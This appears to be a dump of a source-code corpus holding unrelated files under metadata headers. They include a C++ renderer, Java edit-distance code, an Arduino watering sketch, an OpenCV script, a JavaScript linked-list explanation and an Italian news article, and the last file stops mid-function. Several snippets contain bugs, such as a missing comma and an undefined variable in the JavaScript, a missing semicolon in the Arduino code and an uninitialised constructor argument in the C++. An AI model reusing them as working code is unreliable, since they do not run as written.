* smell: code mutates an attribute of an object
+ instead return a copy constructed with the new attribute value
These smells are not smells if they are merely implementation details and are
properly isolated behind a functional interface.
irritants
---------
In python, there is an established generic syntax to modify an attribute of some object state
x = Obj(...)
x.attr = new_value
As far as i am aware, there is no established generic syntax / library function to construct a
new value which is the same as some given value except with one (or more?) of the attributes
replaced by a new attribute value.
If there were such a `replace` function, then we could write *generic* code to create new
values with altered attributes without modifying state. It is already possible to write
non-generic code to do this, case by case, for each type we need to support.
Supposing there was such a `replace` function, then quite often, when we write
x = Obj(...)
x.attr = new_value
we could instead write
x = Obj(...)
x = replace(x, attr=new_value)
which could be made clearer by writing it in single static assignment form:
x_0 = Obj(...)
x_1 = replace(x_0, attr=new_value)
This last form leaves us with the two values, `x_0` and `x_1`, from before and after the
modification.
|
Markdown | UTF-8 | 829 | 2.5625 | 3 | [] | no_license | # Video Meeting
[](https://repl.it/github/0x5eba/Video-Meeting)
Google Meet / Zoom clone in a few lines of code.
Video Meeting is a video conference website that lets you stay in touch with all your friends.
Developed with ReactJS, Node.js, SocketIO.

### Website
Try Video Meeting here [video.sebastienbiollo.com](https://video.sebastienbiollo.com)
### Features
- Is 100% free and open-source
- No account needed
- Unlimited users
- Messaging chat and video streaming in real-time
- Screen sharing to present documents, slides, and more
- Everyting is peer-to-peer thanks to webrtc
### Local setup
Development:
1. `yarn install`
2. `yarn dev`
Production:
1. `yarn install`
2. `yarn build`
3. `yarn server` |
PHP | UTF-8 | 1,577 | 2.8125 | 3 | [
"MIT"
] | permissive | <?php
declare(strict_types = 1);
namespace SyliusCart\Domain\Model;
use Broadway\Domain\AggregateRoot;
use Ramsey\Uuid\UuidInterface;
use SyliusCart\Domain\Adapter\AvailableCurrencies\AvailableCurrenciesProviderInterface;
/**
* @author Arkadiusz Krakowiak <arkadiusz.k.e@gmail.com>
*/
interface CartContract extends AggregateRoot
{
/**
* @param UuidInterface $cartId
* @param string $currencyCode
* @param AvailableCurrenciesProviderInterface $availableCurrenciesProvider
*
* @return CartContract
*/
public static function initialize(
UuidInterface $cartId,
string $currencyCode,
AvailableCurrenciesProviderInterface $availableCurrenciesProvider
): CartContract;
/**
* @param AvailableCurrenciesProviderInterface $availableCurrenciesProvider
*
* @return CartContract
*/
public static function createWithAdapters(
AvailableCurrenciesProviderInterface $availableCurrenciesProvider
): CartContract;
/**
* @param string $productCode
* @param int $quantity
* @param int $price
*
* @param string $productCurrencyCode
*/
public function addProductToCart(string $productCode, int $quantity, int $price, string $productCurrencyCode): void;
/**
* @param string $productCode
*/
public function removeProductFromCart(string $productCode): void;
public function clear(): void;
/**
* @param string $productCode
* @param int $quantity
*/
public function changeProductQuantity(string $productCode, int $quantity): void;
}
|
Java | UTF-8 | 1,323 | 3.140625 | 3 | [] | no_license | package Blatt6.Aufgabe2;
import java.io.File;
import java.time.Instant;
import java.time.LocalDateTime;
import java.time.ZoneId;
import java.time.format.DateTimeFormatter;
import java.util.concurrent.ScheduledExecutorService;
import java.util.concurrent.TimeUnit;
public class FileWatcher implements Runnable {
private final File file;
private final ScheduledExecutorService scheduledExecutorService;
private long lastModified;
public FileWatcher(File file, ScheduledExecutorService scheduledExecutorService) {
this.file = file;
this.scheduledExecutorService = scheduledExecutorService;
lastModified = file.lastModified();
scheduledExecutorService.scheduleAtFixedRate(this, 0, 3, TimeUnit.SECONDS);
}
@Override
public void run() {
if (file.lastModified() != lastModified) {
lastModified = file.lastModified();
if (!file.exists()) {
System.out.println("File was deleted or moved...");
return;
}
System.out.println(String.format("File '%s' was modified at '%s'", file.getPath(), LocalDateTime.ofInstant(Instant.ofEpochMilli(lastModified), ZoneId.systemDefault()).format(DateTimeFormatter.ISO_DATE_TIME)));
scheduledExecutorService.shutdown();
}
}
}
|
Markdown | UTF-8 | 1,916 | 3.484375 | 3 | [] | no_license | 请实现 copyRandomList 函数,复制一个复杂链表。在复杂链表中,每个节点除了有一个 next 指针指向下一个节点,还有一个 random 指针指向链表中的任意节点或者 null。
## 分析
本题的难点在于random 节点时随机指向的。如果是在复制节点的过程中同时复制random话,那么在复制的过程中有可能出现当前节点的random 指向的节点还没有被被复制,导致random 无法一同被复制
## 思路
拆分成三步
1.复制一份链表放在前一个节点后面,即根据原始链表的每个节点N创建N `,把N`直接放在N的next位置,让复制后的链表和原始链表组成新的链表。
2.给复制的链表random赋值,即N`.random=N.random.next。
3.拆分链表,将N`和N进行拆分,保证原始链表不受影响。
```js
function Clone(head) {
if(head === null) {
return null;
}
cloneNodes(head);
cloneRandom(head);
return reconnectNodes(head)
}
function cloneNodes(head) {
let current = head;
while(current) {
let cloneMode = {
val: current.val
next: current.next
}
current.next = cloneNode;
current = cloneNode.next
}
}
function cloneRandom(head) {
let current = head;
while(current) {
let cloneNode = current.next;
if(current.random) {
cloneNode.random = current.random.next;
} else {
cloneNode.random = null;
}
current = cloneNode.next
}
}
function reconnectNodes(head) {
let cloneHead = head.next;
let cloneNode = head.next;
let current = head;
while(current) {
current.next = cloneNode.next;
current = cloneNode.next;
if(current) {
cloneNode.next = current.next;
cloneNode = current.next;
} else {
cloneNode.next = null;
}
}
return cloneHead
}
```
 |
C++ | UTF-8 | 6,721 | 2.640625 | 3 | [] | no_license | #include "stdafx.h"
#include "ImmediateModeRenderer20.h"
#include "Color.h"
ImmediateModeRenderer20::ImmediateModeRenderer20(bool hasNormals, bool hasColors, int numTexCoords)
{
init(5000, hasNormals, hasColors, m_numTexCoords);
}
ImmediateModeRenderer20::ImmediateModeRenderer20(int maxVertices, bool hasNormals, bool hasColors, int numTexCoords)
{
init(maxVertices, hasNormals, hasColors, numTexCoords);
}
void ImmediateModeRenderer20::begin(const Matrix4& projModelView, int primitiveType)
{
m_customShader = NULL;
m_projModelView.set(projModelView);
m_primitiveType = primitiveType;
}
void ImmediateModeRenderer20::begin(ShaderProgram* shader, int primitiveType)
{
m_customShader = shader;
m_primitiveType = primitiveType;
}
void ImmediateModeRenderer20::color(float r, float g, float b, float a)
{
m_vertices[m_vertexIdx + m_colorOffset] = Color::toFloatBits(r, g, b, a);
}
void ImmediateModeRenderer20::texCoord(float u, float v)
{
int idx = m_vertexIdx + m_texCoordOffset;
m_vertices[idx] = u;
m_vertices[idx + 1] = v;
m_numSetTexCoords += 2;
}
void ImmediateModeRenderer20::normal(float x, float y, float z)
{
int idx = m_vertexIdx + m_normalOffset;
m_vertices[idx] = x;
m_vertices[idx + 1] = y;
m_vertices[idx + 2] = z;
}
void ImmediateModeRenderer20::vertex(float x, float y, float z)
{
int idx = m_vertexIdx;
m_vertices[idx] = x;
m_vertices[idx + 1] = y;
m_vertices[idx + 2] = z;
m_numSetTexCoords = 0;
m_vertexIdx += m_vertexSize;
m_numVertices++;
}
void ImmediateModeRenderer20::end()
{
if(m_customShader)
{
m_customShader->begin();
m_mesh->setVertices(m_vertices, m_vertexIdx);
m_mesh->render(m_customShader, m_primitiveType);
m_customShader->end();
}
else
{
m_defaultShader->begin();
m_defaultShader->setUniformMatrix("u_projModelView", m_projModelView);
for(int i = 0; i < m_numTexCoords; i++)
{
std::stringstream name;
name << "u_sampler" << i;
m_defaultShader->setUniformi(name.str(), i);
}
m_mesh->setVertices(m_vertices, m_vertexIdx);
m_mesh->render(m_defaultShader, m_primitiveType);
m_defaultShader->end();
}
m_numSetTexCoords = 0;
m_vertexIdx = 0;
m_numVertices = 0;
}
int ImmediateModeRenderer20::getNumVertices()
{
return m_numVertices;
}
int ImmediateModeRenderer20::getMaxVertices()
{
return m_maxVertices;
}
ImmediateModeRenderer20::~ImmediateModeRenderer20()
{
if(m_defaultShader)
{
m_defaultShader->dispose();
delete m_defaultShader;
}
m_mesh->dispose();
delete m_mesh;
}
void ImmediateModeRenderer20::init(int maxVertices, bool hasNormals, bool hasColors, int numTexCoords)
{
m_maxVertices = maxVertices;
std::vector<VertexAttribute> attribs;
buildVertexAttributes(hasNormals, hasColors, numTexCoords, attribs);
m_mesh = new Mesh(false, &attribs[0], (int)attribs.size());
std::string vertexShader;
createVertexShader(hasNormals, hasColors, numTexCoords, vertexShader);
std::string fragmentShader;
createFragmentShader(hasNormals, hasColors, numTexCoords, fragmentShader);
m_defaultShader = new ShaderProgram(vertexShader, fragmentShader);
if(!m_defaultShader->isCompiled())
throw GdxRuntimeException("Couldn't compile immediate mode default shader!\n" + m_defaultShader->getLog());
m_numTexCoords = numTexCoords;
m_vertices = new float[maxVertices * (m_mesh->getVertexAttributes().vertexSize() / 4)];
m_vertexSize = m_mesh->getVertexAttributes().vertexSize() / 4;
VertexAttribute attrib;
if(m_mesh->getVertexAttribute(VertexAttributes::Normal, attrib))
{
m_normalOffset = attrib.offset / 4;
}
else
{
m_normalOffset = 0;
}
if(m_mesh->getVertexAttribute(VertexAttributes::ColorPacked, attrib))
{
m_colorOffset = attrib.offset / 4;
}
else
{
m_colorOffset = 0;
}
if(m_mesh->getVertexAttribute(VertexAttributes::TextureCoordinates, attrib))
{
m_texCoordOffset = attrib.offset / 4;
}
else
{
m_texCoordOffset = 0;
}
}
void ImmediateModeRenderer20::buildVertexAttributes(bool hasNormals, bool hasColor, int numTexCoords, std::vector<VertexAttribute>& attribs)
{
attribs.push_back(VertexAttribute(VertexAttributes::Position, 3, ShaderProgram::POSITION_ATTRIBUTE));
if(hasNormals)
attribs.push_back(VertexAttribute(VertexAttributes::Normal, 3, ShaderProgram::NORMAL_ATTRIBUTE));
if(hasColor)
attribs.push_back(VertexAttribute(VertexAttributes::ColorPacked, 4, ShaderProgram::COLOR_ATTRIBUTE));
for(int i = 0; i < numTexCoords; i++)
{
attribs.push_back(VertexAttribute(VertexAttributes::TextureCoordinates, 2, ShaderProgram::TEXCOORD_ATTRIBUTE + i));
}
}
void ImmediateModeRenderer20::createVertexShader(bool hasNormals, bool hasColors, int numTexCoords, std::string& shader)
{
std::stringstream shaderBuilder;
shaderBuilder << "attribute vec4 " << ShaderProgram::POSITION_ATTRIBUTE << ";\n";
if(hasNormals)
shaderBuilder << "attribute vec3 " << ShaderProgram::NORMAL_ATTRIBUTE << ";\n";
if(hasColors)
shaderBuilder << "attribute vec4 " << ShaderProgram::COLOR_ATTRIBUTE << ";\n";
for(int i = 0; i < numTexCoords; i++)
{
shaderBuilder << "attribute vec2 " << ShaderProgram::TEXCOORD_ATTRIBUTE << i << ";\n";
}
shaderBuilder << "uniform mat4 u_projModelView;\n";
if(hasColors)
shaderBuilder << "varying vec4 v_col;\n";
for(int i = 0; i < numTexCoords; i++)
{
shaderBuilder << "varying vec2 v_tex" << i << ";\n";
}
shaderBuilder << "void main() {\n" << " gl_Position = u_projModelView * " << ShaderProgram::POSITION_ATTRIBUTE << ";\n";
if(hasColors)
shaderBuilder << " v_col = " << ShaderProgram::COLOR_ATTRIBUTE << ";\n";
for(int i = 0; i < numTexCoords; i++)
{
shaderBuilder << " v_tex" << i << " = " << ShaderProgram::TEXCOORD_ATTRIBUTE << i << ";\n";
}
shaderBuilder << "}\n";
shader = shaderBuilder.str();
}
void ImmediateModeRenderer20::createFragmentShader(bool hasNormals, bool hasColors, int numTexCoords, std::string& shader)
{
std::stringstream shaderBuilder;
shaderBuilder << "#ifdef GL_ES\n" << "precision highp float;\n" << "#endif\n";
if(hasColors)
shaderBuilder << "varying vec4 v_col;\n";
for(int i = 0; i < numTexCoords; i++)
{
shaderBuilder << "varying vec2 v_tex" << i << ";\n";
shaderBuilder << "uniform sampler2D u_sampler" << i << ";\n";
}
shaderBuilder << "void main() {\n" << " gl_FragColor = ";
if(hasColors)
shaderBuilder << "v_col";
else
shaderBuilder << "vec4(1, 1, 1, 1)";
if(numTexCoords > 0)
shaderBuilder << " * ";
for(int i = 0; i < numTexCoords; i++)
{
if(i == numTexCoords - 1)
{
shaderBuilder << " texture2D(u_sampler" << i << ", v_tex" << i << ")";
}
else
{
shaderBuilder << " texture2D(u_sampler" << i << ", v_tex" << i << ") *";
}
}
shaderBuilder << ";\n}";
shader = shaderBuilder.str();
}
|
Python | UTF-8 | 542 | 3.765625 | 4 | [] | no_license | # 复制一段文本,在每行前面加上一个 *
import pyperclip
text = pyperclip.paste() # 从剪切板获取文本
li = text.split('\n') # 按行切割文本, 得到一个字符串列表
li_new = [] # 新建一个空列表
for line in li: # 遍历列表
li_new.append('*'+line) # 每一行都加上* 追加到li
string = '\n'.join(li_new) # 连接列表,获得新字符串
pyperclip.copy(string)
|
Markdown | UTF-8 | 2,924 | 2.515625 | 3 | [
"Unlicense"
] | permissive |
# “Pazza idea”: l’ex Hotel Riviera all’ArisMe. Scurria: Alloggi per i baraccati
Published at: **2019-11-06T11:33:26+00:00**
Author: **Rosaria Brancato**
Original: [Tempostretto](https://www.tempostretto.it/news/pazza-idea-lex-hotel-riviera-allarisme-scurria-alloggi-per-gli-ex-baraccati.html)
Messina- Entro fine mese sarà pubblicato il nuovo bando e l'Agenzia per il risanamento intende partecipare
Potrebbe sembrare una provocazione, soprattutto in un periodo in cui sono in tanti a storcere il naso apprendendo che avranno per vicini di casa famiglie che hanno lasciato le baracche.
In una città di perbenisti che preferiscono i “ghetti” al risanamento, l’idea dell’ArisMe può apparire come una provocazione: l’ex Hotel Riviera destinato ad alloggi per le famiglie che saranno sbaraccate. E’ ancora una “pazza idea” quella di Marcello Scurria e del Cda dell’ArisMe, ma è un modo per dare risposte concrete all’emergenza risanamento.
La Città Metropolitana, sull’orlo del dissesto, ha predisposto il Piano di alienazione degli immobili ed in questo contesto è stato inserito l’ex Hotel Riviera, ormai in stato di totale degrado da decenni.
Il precedente bando, predisposto dall’allora commissario Filippo Romano, è finito impantanato tra un contenzioso e un altro. Nel frattempo dopo quasi 20 anni l’ex albergo è in condizioni di abbandono. Entro fine mese quindi gli uffici di Palazzo dei Leoni, nell’ambito del Piano di dismissione del patrimonio immobiliare, procederanno ad un nuovo bando.
E l’ArisMe parteciperà con l’obiettivo di dare alloggi per i baraccati.
“Guardi, c’è ancora chi lo chiama Hotel Riviera, ma non è più un hotel da tantissimi anni- spiega Scurria– E’ un relitto ormai, altro che albergo a 5 stelle. Noi stiamo riscontrando non poche difficoltà ad acquistare alloggi sul mercato da destinare al risanamento. Ci sono diffidenze e pregiudizi nei confronti di queste famiglie. A questo punto siamo pronti ad acquistarlo noi, per una cifra accettabile, non certo a 10 milioni. Non devono più esserci ghetti, il vero risanamento è questo”.
Va contro corrente l’amministrazione De Luca, sebbene la partecipazione al bando potrebbe paradossalmente “risvegliare” l’interesse di quanti finora hanno lasciato “marcire” l’albergo, il cui destino, dopo l’acquisto da parte dell’ex Provincia è stato davvero inverecondo.
Già, perché sono in tanti a storcere il naso all’idea di destinare quella palazzina proprio di fronte allo Stretto, alle famiglie provenienti dalle zone da sbaraccare. E non è detto che la partecipazione di ArisMe al bando non possa improvvisamente stimolare l’interesse di gruppi imprenditoriali con altri obiettivi rispetto a quelli dell’Agenzia.
“Per noi- conclude Scurria- il risanamento è la priorità. Avrebbe dovuto esserlo per tutti anche negli anni scorsi……”
Rosaria Brancato
|
Java | UTF-8 | 6,310 | 2.6875 | 3 | [
"MIT"
] | permissive | package algorithm;
import java.util.*;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;
import tools.*;
import Model.*;
import java.io.*;
public class EditDistance extends AutoAlgorithm {
//Distance of: Match, Insert, Delete, Replace
private final int[] LevenshteinDistance = {0,1,1,1};
private final int[] NormalDistance = {1,-1,-1,-1};
private final int[] CustomizedDistance = {3,-3,-3,-3};
private Distance distance ;
private String[] names ;
private String[] train ;
private int[] trainFlag ;
private Result[] result ;
private int correctness=0;
@Override
public String getDescription() {
System.out.println(smithWaterman("aactay","zions",distance));
return "EditDistance";
}
@Override
public void init() {
//distance = new Distance(NormalDistance);
distance = new Distance(CustomizedDistance);
names = DataFileReader.read(new File(Config.PATH+Config.NAME_FILE)
.getAbsolutePath());
train = DataFileReader.read(Config.PATH+Config.TRAIN_FILE);
trainFlag = new int[train.length];
result = new Result[train.length];
}
@Override
public Evaluation run() {
ExecutorService pool = Executors.newCachedThreadPool();
for(int tIndex=0;tIndex<Config.MAX_THREAD;tIndex++)
{
pool.execute(
new Runnable(){
public void run()
{
while(true)
{
int index= getUnhandledDataIndex(trainFlag);
if(index!=-1){
Result max = getMaxScore(train[index], names, distance);
putIntoArray(max,index);
String trainTag =train[index].split("\t")[1];
Iterator<SingleResult> iterator = max.queue.iterator();
while (iterator.hasNext()) {
SingleResult sr = iterator.next();
if(sr.target.equals(trainTag)){
addCorrectness();
max.correctness = true;
break;
}
}
//System.out.println(max.queue.size());
System.out.println("Done:"+index);
}
else{
break;
}
}
}
});
}
pool.shutdown();
try {
pool.awaitTermination(600, TimeUnit.SECONDS);
} catch (InterruptedException e) {
e.printStackTrace();
}
for(int i=0 ; i< result.length;i++){
while(true){
SingleResult sr = result[i].queue.poll();
if(sr == null){
break;
}
else{
Log.log(i+" "+result[i].persianName+"["+result[i].latinName+"] "+sr.target+" "+sr.score);
}
}
Log.log("-------------------"+result[i].correctness+"-------------------------");
}
Evaluation eval = new Evaluation(correctness,train.length);
System.out.println("Accuracy:"+eval.getAccuracy());
resetCorrectness();
return eval;
}
public Result getMaxScore(String str, String[] names, Distance distance){
Comparator<SingleResult> comparator = new ScoreComparator();
PriorityQueue<SingleResult> queue =
new PriorityQueue<SingleResult>(Config.MAX_RESULT_ARRAY, comparator);
String persianName = str.split("\t")[0].toLowerCase();
String latinName = str.split("\t")[1].toLowerCase();
int queueMin = needlemanWunsch(persianName, names[0].toLowerCase(), distance);
//int queueMin = smithWaterman(persianName, names[0].toLowerCase(), distance);
SingleResult sr= new SingleResult(0, persianName, names[0].toLowerCase(), queueMin);
queue.add(sr);
for(int j=1;j<names.length;j++){
String lcName = names[j].toLowerCase();
int dis = needlemanWunsch(persianName,lcName , distance);
//int dis = smithWaterman(persianName, lcName, distance);
SingleResult srTemp= new SingleResult(j, persianName, lcName, dis);
queue.add(srTemp);
}
PriorityQueue<SingleResult> limitedQueue =
new PriorityQueue<SingleResult>(Config.MAX_RESULT_ARRAY, comparator);
for( int j=0;j<Config.MAX_RESULT_ARRAY;j++){
limitedQueue.add(queue.poll());
}
//System.out.println("Train:"+str+"--Output:"+names[maxIndex]+"--Score:"+max);
Result result = new Result(persianName,limitedQueue,latinName);
//String[] result = {str,names[maxIndex], max+"","1"};
return result;
}
public int needlemanWunsch(String str1, String str2, Distance distance) {
int lf = str1.length();
int lt = str2.length();
int[][] matrix = new int[lt+1][lf+1];
matrix[0][0] = 0;
for(int i=0;i<=lt;i++) matrix[i][0] = i*distance.insert();
for(int i=0;i<=lf;i++) matrix[0][i] = i*distance.delete();
//Start of dynamic programming
for(int i=1;i<=lt;i++){
for(int j=1;j<=lf;j++){
int[] input = {
matrix[i][j-1]+distance.delete(),
matrix[i-1][j]+distance.insert(),
matrix[i-1][j-1]+distance.equalSOUNDEXMATRIX(str1.charAt(j-1),str2.charAt(i-1))
//matrix[i-1][j-1]+distance.equalTIMMATRX(str1.charAt(j-1),str2.charAt(i-1))
//matrix[i-1][j-1]+distance.equal(str1.charAt(j-1),str2.charAt(i-1))
//matrix[i-1][j-1]+distance.equalBLOSUM40(str1.charAt(j-1),str2.charAt(i-1))
//matrix[i-1][j-1]+distance.equalBLOSUM62(str1.charAt(j-1),str2.charAt(i-1))
};
matrix[i][j]=Common.max(input);
}
}
return matrix[lt][lf];
}
public int smithWaterman(String str1, String str2, Distance distance) {//LocalEditDistance
int lf = str1.length();
int lt = str2.length();
int[][] matrix = new int[lt+1][lf+1];
matrix[0][0] = 0;
for(int i=0;i<=lt;i++) matrix[i][0] = 0;
for(int i=0;i<=lf;i++) matrix[0][i] = 0;
int max=0;
//Start of dynamic programming
for(int i=1;i<=lt;i++){
for(int j=1;j<=lf;j++){
int[] input = {
0,
matrix[i][j-1]+distance.delete(),
matrix[i-1][j]+distance.insert(),
matrix[i-1][j-1]+distance.equal(str1.charAt(j-1),str2.charAt(i-1))
};
matrix[i][j]=Common.max(input);
if(matrix[i][j]>max){
max = matrix[i][j];
}
}
}
/*for(int i=0;i<=lt;i++){
for(int j=0;j<=lf;j++){
System.out.print(matrix[i][j]+" ");
}
System.out.println();
}*/
return max;
}
public synchronized int getUnhandledDataIndex( int[] flags)
{
for(int i=0;i<flags.length;i++)
{
if(flags[i]==0)
{
flags[i]=1;
return i;
}
}
return -1;
}
public void putIntoArray(Result data,int index)
{
this.result[index] = data;
}
public synchronized void addCorrectness()
{
this.correctness++;
}
public void resetCorrectness(){
this.correctness = 0;
}
}
|
C++ | UTF-8 | 584 | 2.640625 | 3 | [] | no_license | #include <cstdio>
#include <cmath>
using namespace std;
int main(){
int T,n;
double p;
scanf("%d",&T);
while(T--){
scanf("%d %lf",&n,&p);
double ans = 0;
for(int i = n;i <= 2*n - 1;++i){
double aux = pow(1 - p,i - n);
for(int j = 0;j < n - 1;++j){
aux *= (i - 1 - j);
aux /= (1 + j);
}
ans += aux;
}
ans *= pow(p,n);
printf("%.2f\n",ans);
}
return 0;
}
|
Java | UTF-8 | 176 | 1.976563 | 2 | [] | no_license | package com.daddy.demo.customSettings.Error;
//自定义错误描述枚举类的接口
public interface BaseErrorInfoInterface {
String getCode();
String getMsg();
}
|
Python | UTF-8 | 1,628 | 2.859375 | 3 | [] | no_license | import cv2
from matplotlib import pyplot as plt
img1=cv2.imread("chijou.jpg")
img2=cv2.imread("laser.jpg")
# グレー変換
gray1 = cv2.cvtColor(img1, cv2.COLOR_BGR2GRAY)
gray2 = cv2.cvtColor(img2, cv2.COLOR_BGR2GRAY)
# SIFT特徴量の抽出と画像化
sift = cv2.xfeatures2d.SIFT_create()
kp1 = sift.detect(gray1)
kp2 = sift.detect(gray2)
img1_sift = cv2.drawKeypoints(gray1, kp1, None, flags=4)
img2_sift = cv2.drawKeypoints(gray2, kp2, None, flags=4)
# 保存
plt.imsave('img/utsu1_sift.png', img1_sift)
plt.imsave('img/utsu2_sift.png', img2_sift)
# AKAZE特徴量の抽出と画像化
akaze = cv2.AKAZE_create()
kp1, des1 = akaze.detectAndCompute(gray1, None)
kp2, des2 = akaze.detectAndCompute(gray2, None)
img1_akaze = cv2.drawKeypoints(gray1, kp1, None, flags=4)
img2_akaze = cv2.drawKeypoints(gray2, kp2, None, flags=4)
# 保存
plt.imsave('img/utsu1_akaze.png', img1_akaze)
plt.imsave('img/utsu2_akaze.png', img2_akaze)
# BFMatcherの定義と画像化
bf = cv2.BFMatcher(cv2.NORM_HAMMING, crossCheck=True)
matches = bf.match(des1, des2)
matches = sorted(matches, key=lambda x: x.distance)
img3 = cv2.drawMatches(img1, kp1, img2, kp2, matches[:10], None, flags=2)
# 保存
plt.imsave('img/utsu1-utsu2-match1.png', img3)
# BFMatcherの定義とKNNを使ったマッチングと画像化
bf = cv2.BFMatcher()
matches = bf.knnMatch(des1, des2, k=2)
good = []
for m, n in matches:
if m.distance < 0.75*n.distance:
good.append([m])
img4 = cv2.drawMatchesKnn(img1, kp1, img2, kp2, good, None, flags=2)
# 保存
plt.imsave('img/utsu1-utsu2-match2.png', img4) |
Java | UTF-8 | 2,338 | 2.25 | 2 | [] | no_license | package com.stsdev.votingbox.data.Model;
import com.google.gson.annotations.Expose;
import com.google.gson.annotations.SerializedName;
/**
* Created by stavros on 17/6/2018.
*/
public class Category {
//##############################################################################################
//################################### STARTING #################################################
//##############################################################################################
//#=========================================Category Attributes================================#
@Expose
@SerializedName("CategoryCode")
int id; // Category identifier to diferetiate categories
@Expose
@SerializedName("Category")
String category; // Category title
@Expose
@SerializedName("Desc")
String description; // Category description
@Expose
@SerializedName("Checked")
int checked;
boolean isOnPreferences; // if it belongs to user preferences
//#======================================== Constructors ======================================#
public Category() {
}
// #==================================== Setter and getters section ===========================#
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
public String getCategory() {
return category;
}
public void setCategory(String category) {
this.category = category;
}
public String getDescription() {
return description;
}
public void setDescription(String description) {
this.description = description;
}
public boolean isOnPreferences() {
return isOnPreferences;
}
public void setOnPreferences(boolean onPreferences) {
isOnPreferences = onPreferences;
}
public int getChecked() {
return checked;
}
public void setChecked(int checked) {
this.checked = checked;
}
//##############################################################################################
//########################################## END ###############################################
//##############################################################################################
}
|
C++ | UTF-8 | 3,592 | 3.046875 | 3 | [] | no_license | int sensorPin = A0;
int moistureReading;
int moistureRating;
// The reading from the Moisture Detector expressed as a percentage.
int memory[10];
int memoryIndex = 0;
int squirtScore = 0;
//The Squirt Score is determined by how many of the last 10 Moisture Ratings has a +1 to Squirt Score.
//CONFIG SETTINGS
int squirtThreshold = 5;
//The number of cycles out of the last 10 to activate a Squirt.
int moistureThreshold = 40;
//The value below which a Moisture Reading causes a +1 to Squirt Score.
int cycleTime = 2000 ;
//Time in miliseconds.
//The delay between begining cycles. This can be used to control the total length of time between readings & thus minimum time between Squirts.
int squirtTime = 5000
//Time in miliseconds.
//The length of a Squirt.
void setup() {
Serial.begin(9600);
//Establishes communications with the computer. Bitrate of 9600
pinMode(13, OUTPUT);
digitalWrite(13, HIGH);
//The LED will light up when the sketch is running.
Serial.println("Reading from the sensor...");
delay(1500)
;
}
void loop() {
//SENSOR READING & STORAGE
moistureReading = analogRead(sensorPin);
//'reading' is defined as the analogue (0-1023) value from the Sensor
moistureRating = map(moistureReading, 1023, 0, 0, 100);
memory[memoryIndex] = moistureRating;
//The 'moistureRating' value is saved to the 'memoryIndex' position. This starts at 0.
//SQUIRT SCORING
if(memory[0] > moistureThreshold)
{
squirtScore++;
}
if(memory[1] > moistureThreshold)
{
squirtScore++;
}
if(memory[2] > moistureThreshold)
{
squirtScore++;
}
if(memory[3] > moistureThreshold)
{
squirtScore++;
}
if(memory[4] > moistureThreshold)
{
squirtScore++;
}
if(memory[5] > moistureThreshold)
{
squirtScore++;
}
if(memory[6] > moistureThreshold)
{
squirtScore++;
}
if(memory[7] > moistureThreshold)
{
squirtScore++;
}
if(memory[8] > moistureThreshold)
{
squirtScore++;
}
if(memory[9] > moistureThreshold)
{
squirtScore++;
} ;
//OUTPUTS - Serial Monitor
Serial.println("============");
Serial.print("Memory position: "); Serial.println(1+memoryIndex);
//Probably hide this later.
Serial.print("Moisture Rating: "); Serial.print(moistureRating); Serial.println("%");
//Print: "Moisture level: XX %" to the serial monitor.
Serial.print("Squirt Score: "); Serial.print(squirtScore); Serial.print("/ 10 (Threshold: "); Serial.print(squirtScore); Serial.println(")");
Serial.println("");
if (memoryIndex == 9) {
Serial.println("The last 10 Moisture Ratings:");
Serial.print(memory[0]); Serial.println("%");
Serial.print(memory[1]); Serial.println("%");
Serial.print(memory[2]); Serial.println("%");
Serial.print(memory[3]); Serial.println("%");
Serial.print(memory[4]); Serial.println("%");
Serial.print(memory[5]); Serial.println("%");
Serial.print(memory[6]); Serial.println("%");
Serial.print(memory[7]); Serial.println("%");
Serial.print(memory[8]); Serial.println("%");
Serial.print(memory[9]); Serial.println("%");
}
//OUTPUTS - Squirt mode
//Code to follow. LED initially, pump eventually
//if(squirtScore >= scquirtThreshold) {
//digitalWrite(PIN, HIGH);
//delay(squirtTime);
//digitalWrite(PIN, LOW);
// }
//CYCLE & RESET memoryIndex
memoryIndex++;
//+1 to the 'memoryIndex' value. This puts the next reading in the next memory position.
if(memoryIndex > 9)
{
memoryIndex = 0;
}
//Resets 'memoryIndex' back to 0 to overwrite the oldest readings.
delay(cycleTime);
//Eventually, this should be increased to at least 5 minutes (300000)
;
}
|
Markdown | UTF-8 | 345 | 2.515625 | 3 | [
"MIT"
] | permissive | ---
layout: project_single
title: "Getting a Teaching Job: My Teaching Portfolio"
slug: "getting-a-teaching-job-my-teaching-portfolio"
parent: "sample-resume-for-a-student-or-a-16-year-old-student"
---
This is my second post in my "Getting a Teaching Job" series! Today I am sharing one of my favourite interview tools.. The teaching p... |
C | UTF-8 | 4,737 | 2.953125 | 3 | [] | no_license | #include "leds.h"
uint16_t LEDChannels[(NUM_TLC5947)];
unsigned char brightnessShift= 0;
void SetPoint( unsigned short x, unsigned short y,unsigned short val)
{
LEDChannels[ ( x * LEDS_WIDTH ) + ( LEDS_HEIGHT - y ) ] = val;
}
// 0.4095
void Clear(unsigned short val)
{
for(unsigned short LEDindex = 0; LEDindex < (NUM_TLC5947 ); LEDindex++)
{
LEDChannels[LEDindex] = val;
}
}
//------------------------------------------------------------------------------------------
// Read all bits in the LEDChannels array and send them on the selected pins
//------------------------------------------------------------------------------------------
void WriteLEDArray(unsigned int count) {
unsigned short tempOne = 0;
for (unsigned int i = 0; i < (count); i++) {
tempOne = LEDChannels[i] >> brightnessShift;
for (int j = 0; j < 12; j++) {
if ((tempOne >> (11 - j)) & 1) {
PORTD.OUT |= (1 << DATPIN);
}
else {
PORTD.OUT &= ~(1 << DATPIN);
}
PORTD.OUT |= (1 << CLKPIN);
PORTD.OUT &= ~(1 << CLKPIN);
}
}
PORTD.OUT |= (1 << LATPIN | 1 << BLANKPIN);
PORTD.OUT &= ~(1 << LATPIN | 1 << BLANKPIN);
}
//------------------------------------------------------------------------------------------
// Sample function to draw a scanning pattern with fading
//------------------------------------------------------------------------------------------
void LEDscan(int red, float degreeoffset,unsigned int count)
{
float brightnessfactor = 0.0f;
float scanindex = (1.0f + sinf(degreeoffset*3.14159f/180.0f)) * ((float)(NUM_TLC5947 * 24 ) / 2.0);
for(unsigned int LEDindex = 0; LEDindex < (NUM_TLC5947); LEDindex++) {
brightnessfactor = expf(0.0f - fabs(scanindex - ((float)LEDindex + 0.5f)) * 1.3f);
LEDChannels[LEDindex] = red * brightnessfactor;
}
WriteLEDArray(count);
}
void LEDscan2(int red, float degreeoffset,unsigned int count)
{
float brightnessfactor = 0.0f;
